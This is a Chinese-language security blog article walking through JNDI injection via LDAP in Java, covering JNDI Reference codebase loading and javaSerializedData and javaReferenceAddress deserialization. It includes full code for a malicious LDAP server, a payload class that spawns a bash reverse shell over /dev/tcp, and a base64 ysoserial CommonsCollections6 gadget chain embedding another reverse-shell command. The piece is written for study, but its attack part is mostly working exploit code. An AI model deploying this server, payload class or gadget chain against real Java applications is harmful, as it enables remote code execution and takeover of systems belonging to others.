连接ldap_JNDI之初探 LDAP

这是 酒仙桥六号部队 的第 27 篇文章。

全文共计2890个字,预计阅读时长10分钟。

基础知识

在进入JNDI中LDAP学习前,先了解下其中涉及的相关知识。

1JAVA模型
  • 序列化对象

  • JNDI References

JNDI References是类javax.naming.Reference的Java对象。它由有关所引用对象的类信息和地址的有序列表组成。Reference还包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置。在目录中使用以下属性:

objectClass: javaNamingReferencejavaClassName: Records the class name of the serialized object so that applications can determined class information without having to first deserialize theobject.javaClassNames: Additional class information about the serialized object.javaCodebase: Location of the class definitions needed to instantiate the factoryclass.javaReferenceAddress: Multivalued optional attribute for storing referenceaddresses.javaFactory: Optional attribute for storing the object factory's fully qualified classname.
  • Marshalled 对象

  • Remote Location

LDAP

LDAP(Lightweight Directory Access Protocol)

轻量目录访问协议

1LDAP 是什么

先简单描述下LDAP的基本概念,主要用于访问目录服务 用户进行连接、查询、更新远程服务器上的目录。

其中LDAP模型主要分布如下:

  • 信息模型 信息模型主要是 条目 - Entry、属性 - Attribute、值 - value Entry:目录树中的一个节点,每一个Entry描述了一个真实对象,即object class

  • 命名模型

  • 功能模型

  • 安全模型 ......

这些基础可以看看LDAP的官方文档。

2LDAP 攻击向量

LDAP Server

在利用前,可以先搭建一个ldap server,代码来自mbechler,稍微改动了下。

package org.jndildap;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;/** * LDAP server implementation returning JNDI references * * @author mbechler * */public class LdapSer {    private static final String LDAP_BASE = "dc=example,dc=com";    public static void main (String[] args) {        int port = 1389;        String url = "http://127.0.0.1/#Th3windObject";        try {            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen", //$NON-NLS-1$                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$            ds.startListening();        }        catch ( Exception e ) {            e.printStackTrace();        }    }    private static class OperationInterceptor extends InMemoryOperationInterceptor {        private URL codebase;        /**         *         */        public OperationInterceptor ( URL cb ) {            this.codebase = cb;        }        /**         * {@inheritDoc}         *         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)         */        @Override        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            try {                sendResult(result, base, e);            }            catch ( Exception e1 ) {                e1.printStackTrace();            }        }        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);            e.addAttribute("javaClassName", "th3wind");            String cbstring = this.codebase.toString();            int refPos = cbstring.indexOf('#');            if ( refPos > 0 ) {                cbstring = cbstring.substring(0, refPos);            }            e.addAttribute("javaCodeBase", cbstring);            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$            e.addAttribute("javaFactory", this.codebase.getRef());            result.sendSearchEntry(e);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));        }    }}

24f7087d68c93206365ae2628cfa9a44.png

  • LDAP存储JAVA对象的方式如下:

    • Java 序列化

    • JDNI的References

    • Marshalled对象

    • Remote Location

  • 其中可进行配合利用方式如下:

    • 利用Java序列化

    • 利用JDNI的References对象引用

fe76fc05d1feaf0e1ab745dbfde11464.png

LDAP可以为其中存储的JAVA对象提供多种属性,具体可参照官方说明,部分如下:

89e385ef6aa5b12ab7a6b96344bb34dd.png

其中在利用JNDI References时,此处主要使用的是javaCodebase指定远程url,在该url中包含恶意class,在JNDI中进行反序列化触发。

在直接利用Java 序列化方法时,是利用javaSerializedData属性,当该属性的value值不为空时,会对该值进行反序列化处理,当本地存在反序列化利用链时,即可触发。

JNDI Reference

攻击流程 参照如下:借用下BlackHat2016的图。

184af1a340eacc0bf60d3056f00df287.png

1、攻击者提供一个LDAP绝对路径的url并赋予到可利用的JNDIlookup方法中这里直接部署一个LDAP Client模拟被攻击服务器应用即如下所示:

  String uri = "ldap://127.0.0.1:1389/Th3windObject";        Context ctx = new InitialContext();        ctx.lookup(uri);

2、服务端访问攻击者构造或可控的LDAP Server端,并请求到恶意的JNDI Reference

  • 构造 JNDI Reference

我的理解是此处的JNDI Reference 即为jndiReferenceEntry 根据前面提到的信息模型,这里的 构造的JNDI Reference即构造 Entry 即服务端代码中的:

Entry e = new Entry(base);...... e.addAttribute("javaClassName", "th3wind"); e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef());
  • 请求JNDI Reference

在被攻击服务端中请求JNDI Referencelookup即可直接请求上,但我们这里还是看下在lookup中哪部分代码请求并利用。在lookup 获取Entry后,一路传参 到c_lookup:

42dec3ca8c316ca0297d5c5cb7eef99e.png

doSearchOnce中发起对传入的url发起请求,获取对应的Entry

9b0b706c1bfbb3eb9e7e8754254beb37.png

同样在该c_lookup中判断 javaclassnamejavaNamingReference不为空的时候进行decodeObject处理。

7c6c002785d9a927b64fee5dcafc288b.png

decodeObject中重新生成一个reference,后续通过Naming Manager进行载入执行恶意class文件,剩下这部分内容是JNDI的调用逻辑了,跟LDAP关系不大,这里不多做讨论,大概流程图如下:

3246bb481144339ca8d4e68958477918.png

3、服务端 decode请求到的恶意 JNDI Reference

4、服务端从攻击者构造的恶意Server请求并实例化Factory class 。即此处开放的http请求下的Th3windObject

fa5f23a54acc628dfa6209b3590ab854.png

import  java.lang.Runtime;import  java.lang.Process;public  class Th3windObject {    public Th3windObject(){        try{            Runtime rt  =   Runtime.getRuntime();            //Runtime.getRuntime().exec("bash -i >& /dev/tcp/127.0.0.1/8550 0>&1");            //String[] commands = {"/bin/bash", "-c", "'/bin/bash -i >& /dev/tcp/127.0.0.1/8550 0>&1'"};            String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8550;cat &5 >&5; done"};            Process pc = rt.exec(commands);            //System.out.println(commands);            pc.waitFor();        }catch(Exception e){            e.printStackTrace();            System.out.println("2222");        }    }    public static void main(String[] argv){        Th3windObject e = new Th3windObject();    }}

5、执行payloads

a878fad8a0dc30bfc0221294d4ba0d9d.png

Remote Location

该方法不常用,此处暂不多做讨论。

Serialized Object

JNDI对通过LDAP传输的Entry属性中的 序列化处理有两处:

  • 一处在于前面所说的decodeObjectjavaSerializedData属性的处理;

  • 一处在于decodeReference函数在对普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理。

javaSerializedData

前文有提到,根据javaSerializedData不为空的情况,decodeObject会对对应的字段进行反序列化。即此处在恶意LDAP Server端中增加该属性。

e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AEEvYmluL2Jhc2ggLWMgYmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMjcuMC4wLjEvODU1MDwmMXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4") );

这里的payload出于偷懒,直接用ysoserial.jar 利用 CommonsCollections6 生成:

699f2c1ebf8a10e1d1cdae7db3a01509.png

此处的CommonsCollections6 即前面所说存在的本地反序列化漏洞利用链,所以在调用的LDAPClient本地得导入commons-collections,我这里使用的是3.2.1版本。

43be7a51fd49bc806d2eef4ffe6a02dd.png

19fdf0d58847ea836aa028c0f639b8bf.png

通过该利用方法可以不用恶意web服务,攻击示意图如下:

8e6d7025f11e2bbc7403c56fc1e4b4c2.png

即:

  1. 攻击者提供一个LDAP绝对路径的url并赋予到可利用的JNDI的 lookup方法中:

  2. 服务端访问攻击者构造或可控的LDAP Server端,并请求到恶意的 JNDI Reference;

  3. 服务端 decode请求到的恶意 JNDI Reference并在decode中进行反序列化处理。

调用链如下:

41d00ed32417d071485d91b2a8fd2ebd.png

javaReferenceAddress

先来一张调用链的图:

484b8ebec08a39cb97b7df77fb1d4509.png

9bcd37b59120893cec027c1abdad1e51.png

在该调用方式中,该可用于反序列化的属性为javaReferenceAddress,payload如下:

e.addAttribute("javaReferenceAddress", "$1$String$$"+new BASE64Encoder().encode(serialized));

bbb0ebc5526756f793aa0048815a6784.png

Reference decodeReference对该属性进行处理时对处理字符串有条件要求:

首先要求javaSerializedData为空;

f77e9cdfc39289796001b3cb32bc6a3f.png

其次要求 javaRemoteLocation为空。

2eb6718e65721491ea8541691168fbb4.png

在进入decodeReference中进行字符串处理要求如下:必备属性:

javaClassNamejavaReferenceAddress

校验 javafactory是否存在

??????????????????????????

在对javaReferenceAddress处理流程如下:

  1. 第一个字符为分隔符;

  2. 第一个分隔符与第二个分隔符之间,表示Reference的position,为int类型,也就是这个位置必须是数字;

  3. 第二个分隔符与第三个分隔符之间,表示type类型;

  4. 检测第三个分隔符后是否有第四个分隔符即双分隔符的形式,是则进入反序列化的操作;

  5. 序列化数据用base64编码,所以在序列化前会进行一次base64解码。

参考

从一次漏洞挖掘入门Ldap注入

【技术分享】BlackHat2016——JDNI注入/LDAP Entry污染攻击技术研究

从JNDI / LDAP操作到远程执行代码的梦想之旅

搭建ldap_server

JNDI with LDAP

cc4bbe42b9bf1aaaa565e92b11c8cbfb.png


版权声明:本文为weixin_42122306原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。